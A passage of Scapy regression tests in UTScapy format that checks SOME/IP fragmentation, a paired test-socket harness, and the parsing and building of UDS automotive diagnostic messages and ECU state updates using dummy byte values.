3d4e5f678909876543210abcdefabcdef0123456789f23456789abcdef099887766554433221a2b3c4d5e6f7a8bf0e1d2c3b4a59687abcdef9876543210234567890abcdef19999aaaabbbbccccdeadbeafbaddcafecafebabedeafbeef111122223333444455556666777788889999aaaabbbbccccdeadbeafbaddcafecafebabedeafbeef1122334455667788a1b2c3d4e5f6f7f823456789abcdef0199887766554433221a2b3c4d5e6f7a8beaf1234567890deffedcba987654321001f23e45d6789abce1f2d3c4b5a6d7e8c9a1b2f3e4d5a6b7d8e1f0a2b3c4d5e623a1b2c3d4e5f678f23456789abcdef09876543210abcdefabcdef0123456789123456789abcdef01a2b3c4d5e6f70819a8b7c6d5e4f3a21d1c2b3a4f5e60798a9b8c7d6e5f4f3d2123456789abcdef01f2e3d4c5b6a7980a4b3c2d1e0f1f8a9456789abcdef0123f1e2d3c4b5a60789d6c5b4a3f2e1f0a91e2d3c4b5a6078f09c8b7a6d5e4f3b212b1a3c4d5e6f7081a7b8c9d6e5f4f0d2f5e4d3c2b1a0798a8123456789abcdef1f2e3d4c5b6a7981a3b2c1d0f1e607929081726354abcdef0f1e2d3c4b5a60788b7a6c5d4e3f2109d4c3b2a1f0e6078a4f5e6d7c8b9a1234e9d8c7b6a5f4e308a1b2c3d4e5f678909c8b7a6d5e4f32103b2a1c0d5e6f7098a0b1c2d3e4f5e6176d5e4f3c2b1a7890d7c8b9a0f1e2f390f1e2d3c4b5a607899b8a7c6d5e4f3211d3c2b1a0f1e6078b8f9e6d7c5b4a3210b2c1a3d4e5f6f8090e1d2c3b4a5f6789c9b8a7d6e5f4e3087d6c5b4a3f2e10989a8b7c6d5e4f32106e5d4c3b2a1f70980a9b8c7d6e5f4d023e1f2d4c5b6a70988f9e7d6c5b4a3102") pkt = Ether(msg)[SOMEIP] x = pkt.fragment(fragsize=100) for i, p in enumerate(x): if i == len(x) -1: assert p.more_seg == 0 assert len(p.data[0]) < 100 else: assert p.more_seg == 1 assert len(p.data[0]) == 100 = SOMEIP multiple frames in one TCP/UDP payload_3 = bytes.fromhex("deadbeef") someip_3 = SOMEIP(srv_id=0xabcd, sub_id=0x8001, len=8 + len(payload_3)) someip_3.payload = Raw(load=payload_3) payload_2 = bytes.fromhex("ff") someip_23 = SOMEIP(srv_id=0x5678, sub_id=0x8002, len=8 + len(payload_2)) someip_23.payload = Raw(load=payload_2 + bytes(someip_3)) payload_1 = bytes.fromhex("0000") someip_123 = SOMEIP(srv_id=0x1234, sub_id=0x8001, len=8 + len(payload_1)) someip_123.payload = Raw(load=payload_1 + bytes(someip_23)) eth_frame = ( Ether(src="00:11:22:33:44:55", dst="AA:BB:CC:DD:EE:FF") / IP(src="192.168.0.10", dst="192.168.0.20") / UDP(sport=30501, dport=30491) / someip_123 ) pkt = Ether(bytes(eth_frame)) pkt.show() layers = pkt.layers() assert len(layers) == 6 assert layers[-1] == SOMEIP assert layers[-2] == SOMEIP assert layers[-3] == SOMEIP someip_123_x = pkt[SOMEIP] assert someip_123_x.data[0].load == payload_1 someip_23_x = someip_123_x.payload assert someip_23_x.data[0].load == payload_2 someip_3_x = someip_23_x.payload assert someip_3_x.data[0].load == payload_3 ================================================ FILE: test/contrib/automotive/testsocket.uts ================================================ % Regression tests for TestSocket + Configuration ~ conf = Imports from test.testsocket import TestSocket, cleanup_testsockets = Create Dummy Packet class TestPacket(Packet): fields_desc = [ IntField("identifier", 0), StrField("data", b"") ] def answers(self, other): if other.__class__ != self.__class__: return False if self.identifier % 2: return False if self.identifier == (other.identifier + 1): return True return False def hashret(self): return struct.pack('I', self.identifier + (self.identifier % 2)) = Create Sockets sender = TestSocket(TestPacket) receiver = TestSocket(TestPacket) sender.pair(receiver) + Basic tests = Simple ping pong def create_answer(p): ans = TestPacket(identifier=p.identifier + 1, data=p.data + b"_answer") receiver.send(ans) t = AsyncSniffer(timeout=50, prn=create_answer, opened_socket=receiver) t.start() pks = PacketList() for i in range(1, 2000, 2): txp = TestPacket(identifier=i, data=b"hello"*i) rxp = sender.sr1(txp, verbose=False, timeout=0.5) pks.append(txp) pks.append(rxp) t.stop(join=True) convs = pks.sr() sender.close() receiver.close() assert len(t.results) == 1000 assert len(pks) == 2000 assert len(convs[0]) == 1000 = Simple ping pong with sr with packet generator 500 testlen = 500 sender = TestSocket(TestPacket) receiver = TestSocket(TestPacket) sender.pair(receiver) t = AsyncSniffer(timeout=10, prn=create_answer, opened_socket=receiver) t.start() txp = TestPacket(identifier=range(1, testlen * 2, 2), data=b"test1") rxp = sender.sr(txp, timeout=10, verbose=False, prebuild=True) t.stop(join=True) print(rxp) print(rxp[0].summary()) sender.close() receiver.close() assert len(t.results) == testlen assert len(rxp[0]) == testlen = Simple ping pong with sr with generated packets sender = TestSocket(TestPacket) receiver = TestSocket(TestPacket) sender.pair(receiver) t = AsyncSniffer(timeout=10, prn=create_answer, opened_socket=receiver) t.start() txp = [TestPacket(identifier=i, data=b"hello") for i in range(1, 2000, 2)] rxp = sender.sr(txp, timeout=10, verbose=False) t.stop(join=True) print(rxp) assert len(t.results) == 1000 assert len(rxp[0]) == 1000 + Cleanup = Delete TestSockets cleanup_testsockets() ================================================ FILE: test/contrib/automotive/uds.uts ================================================ % Regression tests for the UDS layer # More information at http://www.secdev.org/projects/UTscapy/ ############ ############ + Basic operations = Load module load_contrib("automotive.uds", globals_dict=globals()) load_contrib("automotive.ecu", globals_dict=globals()) from scapy.contrib.automotive.uds_ecu_states import * = Check if positive response answers dsc = UDS(b'\x10') dscpr = UDS(b'\x50') assert dscpr.answers(dsc) = Check hashret dsc.hashret() == dscpr.hashret() = Check if negative response answers dsc = UDS(b'\x10') neg = UDS(b'\x7f\x10\x00') assert neg.answers(dsc) = CHECK hashret NEG dsc.hashret() == neg.hashret() = Check if negative response answers not dsc = UDS(b'\x10') neg = UDS(b'\x7f\x11\x00') assert not neg.answers(dsc) = Check if positive response answers not dsc = UDS(b'\x10') somePacket = UDS(b'\x49') assert not somePacket.answers(dsc) = Check UDS_DSC dsc = UDS(b'\x10\x01') assert dsc.service == 0x10 assert dsc.diagnosticSessionType == 0x01 = Check UDS_DSC dsc = UDS()/UDS_DSC(b'\x01') assert dsc.service == 0x10 assert dsc.diagnosticSessionType == 0x01 = Check UDS_DSCPR dscpr = UDS(b'\x50\x02beef') assert dscpr.service == 0x50 assert dscpr.diagnosticSessionType == 0x02 assert not dscpr.answers(dsc) = Check UDS_DSCPR dscpr = UDS()/UDS_DSCPR(b'\x01beef') assert dscpr.service == 0x50 assert dscpr.diagnosticSessionType == 0x01 assert dscpr.sessionParameterRecord == b"beef" assert dscpr.answers(dsc) = Check UDS_DSC dsc = UDS()/UDS_DSC(b'\x01') assert dsc.service == 0x10 assert dsc.diagnosticSessionType == 0x01 = Check UDS_DSCPR dscpr = UDS()/UDS_DSCPR(b'\x01beef') assert dscpr.service == 0x50 assert dscpr.diagnosticSessionType == 0x01 assert dscpr.sessionParameterRecord == b"beef" assert dscpr.answers(dsc) = Check UDS_DSC modifies ecu state dsc = UDS()/UDS_DSC(b'\x09') assert dsc.service == 0x10 assert dsc.diagnosticSessionType == 0x09 = Check UDS_DSCPR modifies ecu state dscpr = UDS()/UDS_DSCPR(b'\x09beef') assert dscpr.service == 0x50 assert dscpr.diagnosticSessionType == 0x09 assert dscpr.sessionParameterRecord == b"beef" ecu = Ecu() ecu.update(dsc) ecu.update(dscpr) assert ecu.state.session == 9 = Check UDS_ER er = UDS(b'\x11\x01') assert er.service == 0x11 assert er.resetType == 0x01 = Check UDS_ER er = UDS()/UDS_ER(resetType="hardReset") assert er.service == 0x11 assert er.resetType == 0x01 = Check UDS_ERPR erpr = UDS(b'\x51\x01') assert erpr.service == 0x51 assert erpr.resetType == 0x01 assert erpr.answers(er) = Check UDS_ERPR erpr = UDS(b'\x51\x04\x10') assert erpr.service == 0x51 assert erpr.resetType == 0x04 assert erpr.powerDownTime == 0x10 = Check UDS_ERPR modifies ecu state erpr = UDS(b'\x51\x01') assert erpr.service == 0x51 assert erpr.resetType == 0x01 ecu = Ecu() ecu.state.security_level = 5 ecu.state.session = 3 ecu.state.communication_control = 4 ecu.update(er) ecu.update(erpr) assert ecu.state.session == 1 = Check UDS_SA sa = UDS(b'\x27\x00c0ffee') assert sa.service == 0x27 assert sa.securityAccessType == 0x0 assert sa.securityKey == b'c0ffee' = Check UDS_SAPR sapr = UDS(b'\x67\x00') assert sapr.service == 0x67 assert sapr.securityAccessType == 0x0 assert sapr.answers(sa) = Check UDS_SA sa = UDS(b'\x27\x01c0ffee') assert sa.service == 0x27 assert sa.securityAccessType == 0x1 assert sa.securityAccessDataRecord == b'c0ffee' = Check UDS_SAPR sapr = UDS(b'\x67\x01c0ffee') assert sapr.service == 0x67 assert sapr.securityAccessType == 0x1 assert sapr.securitySeed == b'c0ffee' assert sapr.answers(sa) = Check UDS_SA sa = UDS(b'\x27\x06c0ffee') assert sa.service == 0x27 assert sa.securityAccessType == 0x6 assert sa.securityKey == b'c0ffee' = Check UDS_SAPR modifies ecu state sapr = UDS(b'\x67\x06') assert sapr.service == 0x67 assert sapr.securityAccessType == 0x6 ecu = Ecu() ecu.update(sa) ecu.update(sapr) assert ecu.state.security_level == 6 = Check UDS_SA sa = UDS(b'\x27\x01c0ffee') assert sa.service == 0x27 assert sa.securityAccessType == 0x1 assert sa.securityAccessDataRecord == b'c0ffee' = Check UDS_SAPR sapr = UDS(b'\x67\x01c0ffee') assert sapr.service == 0x67 assert sapr.securityAccessType == 0x1 assert sapr.securitySeed == b'c0ffee' = Check UDS_CC cc = UDS(b'\x28\x01\xff') assert cc.service == 0x28 assert cc.controlType == 0x1 assert cc.communicationType0 == 0x3 assert cc.communicationType1 == 0x3 assert cc.communicationType2 == 0xf = Check UDS_CCPR ccpr = UDS(b'\x68\x01') assert ccpr.service == 0x68 assert ccpr.controlType == 0x1 assert ccpr.answers(cc) = Check UDS_CCPR modifies ecu state ccpr = UDS(b'\x68\x01') assert ccpr.service == 0x68 assert ccpr.controlType == 0x1 ecu = Ecu() ecu.update(cc) ecu.update(ccpr) assert ecu.state.communication_control == 1 = Check UDS_AUTH auth = UDS(b"\x29\x00") assert auth.service == 0x29 assert auth.subFunction == 0x0 = Build UDS_AUTH auth_build = UDS()/UDS_AUTH(subFunction=0x0) assert bytes(auth_build) == bytes(auth) = Check UDS_AUTHPR authpr = UDS(b"\x69\x00\x00") assert authpr.service == 0x69 assert authpr.subFunction == 0x0 assert authpr.returnValue == 0x0 assert authpr.answers(auth) = Build UDS_AUTHPR authpr_build = UDS()/UDS_AUTHPR(subFunction=0x0, returnValue=0x0) assert bytes(authpr_build) == bytes(authpr) = Check UDS_AUTH auth = UDS(b"\x29\x01\x01\x00\x01\xFF\x00\x01\xFF") assert auth.service == 0x29 assert auth.subFunction == 0x1 assert auth.communicationConfiguration == 0x1 assert auth.lengthOfCertificateClient == 0x1 assert auth.certificateClient == b"\xFF" assert auth.lengthOfChallengeClient == 0x1 assert auth.challengeClient == b"\xFF" = Build UDS_AUTH auth_build = UDS()/UDS_AUTH(subFunction=0x1, communicationConfiguration=0x1, certificateClient=b"\xFF", challengeClient=b"\xFF") assert bytes(auth_build) == bytes(auth) = Check UDS_AUTHPR authpr = UDS(b"\x69\x01\x00\x00\x01\xFF\x00\x01\xFE") assert authpr.service == 0x69 assert authpr.subFunction == 0x1 assert authpr.returnValue == 0x0 assert authpr.lengthOfChallengeServer == 0x1 assert authpr.challengeServer == b"\xFF" assert authpr.lengthOfEphemeralPublicKeyServer == 0x1 assert authpr.ephemeralPublicKeyServer == b"\xFE" assert authpr.answers(auth) = Build UDS_AUTHPR authpr_build = UDS()/UDS_AUTHPR(subFunction=0x1, returnValue=0x0, challengeServer=b"\xFF", ephemeralPublicKeyServer=b"\xFE") assert bytes(authpr_build) == bytes(authpr) = Check UDS_AUTH auth = UDS(b"\x29\x02\x01\x00\x01\xFF\x00\x01\xFF") assert auth.service == 0x29 assert auth.subFunction == 0x2 assert auth.communicationConfiguration == 0x1 assert auth.lengthOfCertificateClient == 0x1 assert auth.certificateClient == b"\xFF" assert auth.lengthOfChallengeClient == 0x1 assert auth.challengeClient == b"\xFF" = Build UDS_AUTH auth_build = UDS()/UDS_AUTH(subFunction=0x2, communicationConfiguration=0x1, certificateClient=b"\xFF", challengeClient=b"\xFF") assert bytes(auth_build) == bytes(auth) = Check UDS_AUTHPR authpr = UDS(b"\x69\x02\x00\x00\x01\xFF\x00\x03\xC0\xFF\xEE\x00\x01\x56\x00" + b"\x01\xFE") assert authpr.service == 0x69 assert authpr.subFunction == 0x2 assert authpr.returnValue == 0x0 assert authpr.lengthOfChallengeServer == 0x1 assert authpr.challengeServer == b"\xFF" assert authpr.lengthOfCertificateServer == 0x3 assert authpr.certificateServer == b"\xC0\xFF\xEE" assert authpr.lengthOfProofOfOwnershipServer == 0x1 assert authpr.proofOfOwnershipServer == b"\x56" assert authpr.lengthOfEphemeralPublicKeyServer == 0x1 assert authpr.ephemeralPublicKeyServer == b"\xFE" assert authpr.answers(auth) = Build UDS_AUTHPR authpr_build = UDS()/UDS_AUTHPR(subFunction=0x2, returnValue=0x0, challengeServer=b"\xFF", certificateServer=b"\xC0\xFF\xEE", proofOfOwnershipServer=b"\x56", ephemeralPublicKeyServer=b"\xFE") assert bytes(authpr_build) == bytes(authpr) = Check UDS_AUTH auth = UDS(b"\x29\x03\x00\x01\xFF\x00\x02\xFF\xFE") assert auth.service == 0x29 assert auth.subFunction == 0x3 assert auth.lengthOfProofOfOwnershipClient == 0x1 assert auth.proofOfOwnershipClient == b"\xFF" assert auth.lengthOfEphemeralPublicKeyClient == 0x2 assert auth.ephemeralPublicKeyClient == b"\xFF\xFE" = Build UDS_AUTH auth_build = UDS()/UDS_AUTH(subFunction=0x3, proofOfOwnershipClient=b"\xFF", ephemeralPublicKeyClient=b"\xFF\xFE") assert bytes(auth_build) == bytes(auth) = Check UDS_AUTHPR authpr = UDS(b"\x69\x03\x00\x00\x01\xFE") assert authpr.service == 0x69 assert authpr.subFunction == 0x3 assert authpr.returnValue == 0x0 assert authpr.lengthOfSessionKeyInfo == 0x1 assert authpr.sessionKeyInfo == b"\xFE" assert authpr.answers(auth) = Build UDS_AUTHPR authpr_build = UDS()/UDS_AUTHPR(subFunction=0x3, returnValue=0x0, sessionKeyInfo=b"\xFE") assert bytes(authpr_build) == bytes(authpr) = Check UDS_AUTH auth = UDS(b"\x29\x04\x00\x03\x00\x05\xFF\x00\x02\xFF\xFE") assert auth.service == 0x29 assert auth.subFunction == 0x4 assert auth.certificateEvaluationId == 0x3 assert auth.lengthOfCertificateData == 0x5 assert auth.certificateData == b"\xFF\x00\x02\xFF\xFE" = Build UDS_AUTH auth_build = UDS()/UDS_AUTH(subFunction=0x4, certificateEvaluationId=0x3, certificateData=b"\xFF\x00\x02\xFF\xFE") assert bytes(auth_build) == bytes(auth) = Check UDS_AUTHPR authpr = UDS(b"\x69\x04\x00") assert authpr.service == 0x69 assert authpr.subFunction == 0x4 assert authpr.returnValue == 0x0 assert authpr.answers(auth) = Build UDS_AUTHPR authpr_build = UDS()/UDS_AUTHPR(subFunction=0x4, returnValue=0x0) assert bytes(authpr_build) == bytes(authpr) = Check UDS_AUTH auth = UDS(b"\x29\x05\x01\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE\x34\x56\x03" + b"\xFF\xEE\x20\x01") assert auth.service == 0x29 assert auth.subFunction == 0x5 assert auth.communicationConfiguration == 0x1 assert auth.algorithmIndicator == (b"\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE" + b"\x34\x56\x03\xFF\xEE\x20\x01") = Build UDS_AUTH auth_build = UDS()/UDS_AUTH(subFunction=0x5, communicationConfiguration=0x1, algorithmIndicator=(b"\x03\x00\x05\xFF\x00\x02" + b"\xFF\xFE\xBE\x34\x56\x03" + b"\xFF\xEE\x20\x01")) assert bytes(auth_build) == bytes(auth) = Check UDS_AUTHPR authpr = UDS(b"\x69\x05\x00\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE\x34\x56\x03" + b"\xFF\xEE\x20\x01\x00\x01\xFF\x00\x00") assert authpr.service == 0x69 assert authpr.subFunction == 0x5 assert authpr.returnValue == 0x0 assert authpr.algorithmIndicator == (b"\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE" + b"\x34\x56\x03\xFF\xEE\x20\x01") assert authpr.lengthOfChallengeServer == 0x1 assert authpr.challengeServer == b"\xFF" assert authpr.lengthOfNeededAdditionalParameter == 0x0 assert authpr.neededAdditionalParameter == b"" assert authpr.answers(auth) = Build UDS_AUTHPR authpr_build = UDS()/UDS_AUTHPR(subFunction=0x5, returnValue=0x0, algorithmIndicator=(b"\x03\x00\x05\xFF\x00" + b"\x02\xFF\xFE\xBE\x34" + b"\x56\x03\xFF\xEE\x20" + b"\x01"), challengeServer=b"\xFF") assert bytes(authpr_build) == bytes(authpr) = Check UDS_AUTH auth = UDS(b"\x29\x06\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE\x34\x56\x03\xFF" + b"\xEE\x20\x01\x00\x01\xFF\x00\x01\xFF\x00\x00") assert auth.service == 0x29 assert auth.subFunction == 0x6 assert auth.algorithmIndicator == (b"\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE" + b"\x34\x56\x03\xFF\xEE\x20\x01") assert auth.lengthOfProofOfOwnershipClient == 0x1 assert auth.proofOfOwnershipClient == b"\xFF" assert auth.lengthOfChallengeClient == 0x1 assert auth.challengeClient == b"\xFF" assert auth.lengthOfAdditionalParameter == 0x0 assert auth.additionalParameter == b"" = Build UDS_AUTH auth_build = UDS()/UDS_AUTH(subFunction=0x6, algorithmIndicator=(b"\x03\x00\x05\xFF\x00\x02" + b"\xFF\xFE\xBE\x34\x56\x03" + b"\xFF\xEE\x20\x01"), proofOfOwnershipClient=b"\xFF", challengeClient=b"\xFF") assert bytes(auth_build) == bytes(auth) = Check UDS_AUTHPR authpr = UDS(b"\x69\x06\x00\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE\x34\x56\x03" + b"\xFF\xEE\x20\x01\x00\x01\xFE") assert authpr.service == 0x69 assert authpr.subFunction == 0x6 assert authpr.returnValue == 0x0 assert auth.algorithmIndicator == (b"\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE" + b"\x34\x56\x03\xFF\xEE\x20\x01") assert authpr.lengthOfSessionKeyInfo == 0x1 assert authpr.sessionKeyInfo == b"\xFE" assert authpr.answers(auth) = Build UDS_AUTHPR authpr_build = UDS()/UDS_AUTHPR(subFunction=0x6, returnValue=0x0, algorithmIndicator=(b"\x03\x00\x05\xFF\x00" + b"\x02\xFF\xFE\xBE\x34" + b"\x56\x03\xFF\xEE\x20\x01" ), sessionKeyInfo=b"\xFE") assert bytes(authpr_build) == bytes(authpr) = Check UDS_AUTH auth = UDS(b"\x29\x07\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE\x34\x56\x03\xFF" + b"\xEE\x20\x01\x00\x01\xFF\x00\x01\xFF\x00\x02\xC0\xCA") assert auth.service == 0x29 assert auth.subFunction == 0x7 assert auth.algorithmIndicator == (b"\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE" + b"\x34\x56\x03\xFF\xEE\x20\x01") assert auth.lengthOfProofOfOwnershipClient == 0x1 assert auth.proofOfOwnershipClient == b"\xFF" assert auth.lengthOfChallengeClient == 0x1 assert auth.challengeClient == b"\xFF" assert auth.lengthOfAdditionalParameter == 0x2 assert auth.additionalParameter == b"\xC0\xCA" = Build UDS_AUTH auth_build = UDS()/UDS_AUTH(subFunction=0x7, algorithmIndicator=(b"\x03\x00\x05\xFF\x00\x02" + b"\xFF\xFE\xBE\x34\x56\x03" + b"\xFF\xEE\x20\x01"), proofOfOwnershipClient=b"\xFF", challengeClient=b"\xFF", additionalParameter=b"\xC0\xCA") assert bytes(auth_build) == bytes(auth) = Check UDS_AUTHPR authpr = UDS(b"\x69\x07\x00\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE\x34\x56\x03" + b"\xFF\xEE\x20\x01\x00\x02\xFE\x20\x00\x01\xFE") assert authpr.service == 0x69 assert authpr.subFunction == 0x7 assert authpr.returnValue == 0x0 assert auth.algorithmIndicator == (b"\x03\x00\x05\xFF\x00\x02\xFF\xFE\xBE" + b"\x34\x56\x03\xFF\xEE\x20\x01") assert authpr.lengthOfProofOfOwnershipServer == 0x2 assert authpr.proofOfOwnershipServer == b"\xFE\x20" assert authpr.lengthOfSessionKeyInfo == 0x1 assert authpr.sessionKeyInfo == b"\xFE" assert authpr.answers(auth) = Build UDS_AUTHPR authpr_build = UDS()/UDS_AUTHPR(subFunction=0x7, returnValue=0x0, algorithmIndicator=(b"\x03\x00\x05\xFF\x00" + b"\x02\xFF\xFE\xBE\x34" + b"\x56\x03\xFF\xEE\x20\x01" ), proofOfOwnershipServer=b"\xFE\x20", sessionKeyInfo=b"\xFE") assert bytes(authpr_build) == bytes(authpr) = Check UDS_AUTH auth = UDS(b"\x29\x08") assert auth.service == 0x29 assert auth.subFunction == 0x8 = Build UDS_AUTH auth_build = UDS()/UDS_AUTH(subFunction=0x8) assert bytes(auth_build) == bytes(auth) = Check UDS_AUTHPR authpr = UDS(b"\x69\x08\x00") assert authpr.service == 0x69 assert authpr.subFunction == 0x8 assert authpr.returnValue == 0x0 assert authpr.answers(auth) = Build UDS_AUTHPR authpr_build = UDS()/UDS_AUTHPR(subFunction=0x8) assert bytes(authpr_build) == bytes(authpr) = Check UDS_TP tp = UDS(b'\x3E\x01') assert tp.service == 0x3e assert tp.subFunction == 0x1 = Check UDS_TPPR tppr = UDS(b'\x7E\x01') assert tppr.service == 0x7e assert tppr.zeroSubFunction == 0x1 assert tppr.answers(tp) = Check UDS_ATP atp = UDS(b'\x83\x01') assert atp.service == 0x83 assert atp.timingParameterAccessType == 0x1 = Check UDS_ATPPR atppr = UDS(b'\xc3\x01') assert atppr.service == 0xc3 assert atppr.timingParameterAccessType == 0x1 assert atppr.answers(atp) = Check UDS_ATP atp = UDS(b'\x83\x04coffee') assert atp.service == 0x83 assert atp.timingParameterAccessType == 0x4 assert atp.timingParameterRequestRecord == b'coffee' = Check UDS_ATPPR atppr = UDS(b'\xc3\x03coffee') assert atppr.service == 0xc3 assert atppr.timingParameterAccessType == 0x3 assert atppr.timingParameterResponseRecord == b'coffee' = Check UDS_SDT sdt = UDS(b'\x84\x80\x00\x01\x12\x34\x13\x37\x01coffee') assert sdt.service == 0x84 assert sdt.requestMessage == 0x1 assert sdt.preEstablishedKeyUsed == 0x0 assert sdt.encryptedMessage == 0x0 assert sdt.signedMessage == 0x0 assert sdt.signedResponseRequested == 0x0 assert sdt.signatureEncryptionCalculation == 0x1 assert sdt.signatureLength == 0x1234 assert sdt.antiReplayCounter == 0x1337 assert sdt.internalMessageServiceRequestId == 0x1 assert sdt.dataRecord == b'coffee' = Build UDS_SDT sdt = UDS()/UDS_SDT(requestMessage=0x1, signatureEncryptionCalculation=0x1, signatureLength=0x1234, antiReplayCounter=0x1337, internalMessageServiceRequestId=0x1, dataRecord=b'coffee') assert sdt.service == 0x84 assert sdt.requestMessage == 0x1 assert sdt.preEstablishedKeyUsed == 0x0 assert sdt.encryptedMessage == 0x0 assert sdt.signedMessage == 0x0 assert sdt.signedResponseRequested == 0x0 assert sdt.signatureEncryptionCalculation == 0x1 assert sdt.signatureLength == 0x1234 assert sdt.antiReplayCounter == 0x1337 assert sdt.internalMessageServiceRequestId == 0x1 assert sdt.dataRecord == b'coffee' = Check UDS_SDTPR sdtpr = UDS(b'\xC4\x04\x00\x01\x12\x34\x13\x37\x01coffee') assert sdtpr.service == 0xC4 assert sdtpr.requestMessage == 0x0 assert sdtpr.preEstablishedKeyUsed == 0x0 assert sdtpr.encryptedMessage == 0x0 assert sdtpr.signedMessage == 0x1 assert sdtpr.signedResponseRequested == 0x0 assert sdtpr.signatureEncryptionCalculation == 0x1 assert sdtpr.signatureLength == 0x1234 assert sdtpr.antiReplayCounter == 0x1337 assert sdtpr.internalMessageServiceResponseId == 0x1 assert sdtpr.dataRecord == b'coffee' assert sdtpr.answers(sdt) = Check UDS_CDTCS cdtcs = UDS(b'\x85\x00coffee') assert cdtcs.service == 0x85 assert cdtcs.DTCSettingType == 0 assert cdtcs.DTCSettingControlOptionRecord == b'coffee' = Check UDS_CDTCSPR cdtcspr = UDS(b'\xC5\x00') assert cdtcspr.service == 0xC5 assert cdtcspr.DTCSettingType == 0 assert cdtcspr.answers(cdtcs) = Check UDS_ROE roe = UDS(b'\x86\x00\x10coffee') assert roe.service == 0x86 assert roe.eventType == 0 assert roe.eventWindowTime == 16 assert roe.eventTypeRecord == b'coffee' = Check UDS_ROEPR roepr = UDS(b'\xC6\x00\x01\x10coffee') assert roepr.service == 0xC6 assert roepr.eventType == 0 assert roepr.numberOfIdentifiedEvents == 1 assert roepr.eventWindowTime == 16 assert roepr.eventTypeRecord == b'coffee' assert roepr.answers(roe) = Check UDS_LC lc = UDS(b'\x87\x01\x02') assert lc.service == 0x87 assert lc.linkControlType == 0x01 assert lc.baudrateIdentifier == 0x02 = Check UDS_LCPR lcpr = UDS(b'\xC7\x01') assert lcpr.service == 0xC7 assert lcpr.linkControlType == 0x01 assert lcpr.answers(lc) = Check UDS_LC lc = UDS(b'\x87\x02\x02\x03\x04') assert lc.service == 0x87 assert lc.linkControlType == 0x02 assert lc.baudrateHighByte == 0x02 assert lc.baudrateMiddleByte == 0x03 assert lc.baudrateLowByte == 0x04 = Check UDS_RDBI rdbi = UDS(b'\x22\x01\x02') assert rdbi.service == 0x22 assert rdbi.identifiers[0] == 0x0102 = Build UDS_RDBI rdbi = UDS()/UDS_RDBI(identifiers=[0x102]) assert rdbi.service == 0x22 assert rdbi.identifiers[0] == 0x0102 assert bytes(rdbi) == b'\x22\x01\x02' = Check UDS_RDBI2 rdbi = UDS(b'\x22\x01\x02\x03\x04') assert rdbi.service == 0x22 assert rdbi.identifiers[0] == 0x0102 assert rdbi.identifiers[1] == 0x0304 assert raw(rdbi) == b'\x22\x01\x02\x03\x04' = Build UDS_RDBI2 rdbi = UDS()/UDS_RDBI(identifiers=[0x102, 0x304]) assert rdbi.service == 0x22 assert rdbi.identifiers[0] == 0x0102 assert rdbi.identifiers[1] == 0x0304 assert raw(rdbi) == b'\x22\x01\x02\x03\x04' = Test observable dict used in UDS_RDBI, setter UDS_RDBI.dataIdentifiers[0x102] = "turbo" UDS_RDBI.dataIdentifiers[0x103] = "fullspeed" rdbi = UDS()/UDS_RDBI(identifiers=[0x102, 0x103]) assert "turbo" in plain_str(repr(rdbi)) assert "fullspeed" in plain_str(repr(rdbi)) = Test observable dict used in UDS_RDBI, deleter UDS_RDBI.dataIdentifiers[0x102] = "turbo" rdbi = UDS()/UDS_RDBI(identifiers=[0x102, 0x103]) assert "turbo" in plain_str(repr(rdbi)) del UDS_RDBI.dataIdentifiers[0x102] UDS_RDBI.dataIdentifiers[0x103] = "slowspeed" rdbi = UDS()/UDS_RDBI(identifiers=[0x102, 0x103]) assert "turbo" not in plain_str(repr(rdbi)) assert "slowspeed" in plain_str(repr(rdbi)) = Check UDS_RDBIPR rdbipr = UDS(b'\x62\x01\x02dieselgate') assert rdbipr.service == 0x62 assert rdbipr.dataIdentifier == 0x0102 assert rdbipr.load == b'dieselgate' assert rdbipr.answers(rdbi) = Check UDS_RMBA rmba = UDS(b'\x23\x11\x02\x02') assert rmba.service == 0x23 assert rmba.memorySizeLen == 1 assert rmba.memoryAddressLen == 1 assert rmba.memoryAddress1 == 2 assert rmba.memorySize1 == 2 = Check UDS_RMBA rmba = UDS(b'\x23\x22\x02\x02\x03\x03') assert rmba.service == 0x23 assert rmba.memorySizeLen == 2 assert rmba.memoryAddressLen == 2 assert rmba.memoryAddress2 == 0x202 assert rmba.memorySize2 == 0x303 = Check UDS_RMBA rmba = UDS(b'\x23\x33\x02\x02\x02\x03\x03\x03') assert rmba.service == 0x23 assert rmba.memorySizeLen == 3 assert rmba.memoryAddressLen == 3 assert rmba.memoryAddress3 == 0x20202 assert rmba.memorySize3 == 0x30303 = Check UDS_RMBA rmba = UDS(b'\x23\x44\x02\x02\x02\x02\x03\x03\x03\x03') assert rmba.service == 0x23 assert rmba.memorySizeLen == 4 assert rmba.memoryAddressLen == 4 assert rmba.memoryAddress4 == 0x2020202 assert rmba.memorySize4 == 0x3030303 = Check UDS_RMBAPR rmbapr = UDS(b'\x63muchData') assert rmbapr.service == 0x63 assert rmbapr.dataRecord == b'muchData' assert rmbapr.answers(rmba) = Check UDS_RSDBI rsdbi = UDS(b'\x24\x12\x34') assert rsdbi.service == 0x24 assert rsdbi.dataIdentifier == 0x1234 = Check UDS_RSDBIPR rsdbipr = UDS(b'\x64\x12\x34\xffmuchData') assert rsdbipr.service == 0x64 assert rsdbipr.dataIdentifier == 0x1234 assert rsdbipr.scalingByte == 255 assert rsdbipr.dataRecord == b'muchData' assert rsdbipr.answers(rsdbi) = Check UDS_RSDBPI rsdbpi = UDS(b'\x2a\x12\x34coffee') assert rsdbpi.service == 0x2a assert rsdbpi.transmissionMode == 0x12 assert rsdbpi.periodicDataIdentifier == 0x34 assert rsdbpi.furtherPeriodicDataIdentifier == b'coffee' = Check UDS_RSDBPIPR rsdbpipr = UDS(b'\x6a\xff\x12\x34') assert rsdbpipr.service == 0x6a assert rsdbpipr.periodicDataIdentifier == 255 assert rsdbpipr.dataRecord == b'\x12\x34' assert not rsdbpipr.answers(rsdbpi) = Check UDS_RSDBPIPR rsdbpipr = UDS(b'\x6a\x34\x12\x34') assert rsdbpipr.service == 0x6a assert rsdbpipr.periodicDataIdentifier == 0x34 assert rsdbpipr.dataRecord == b'\x12\x34' assert 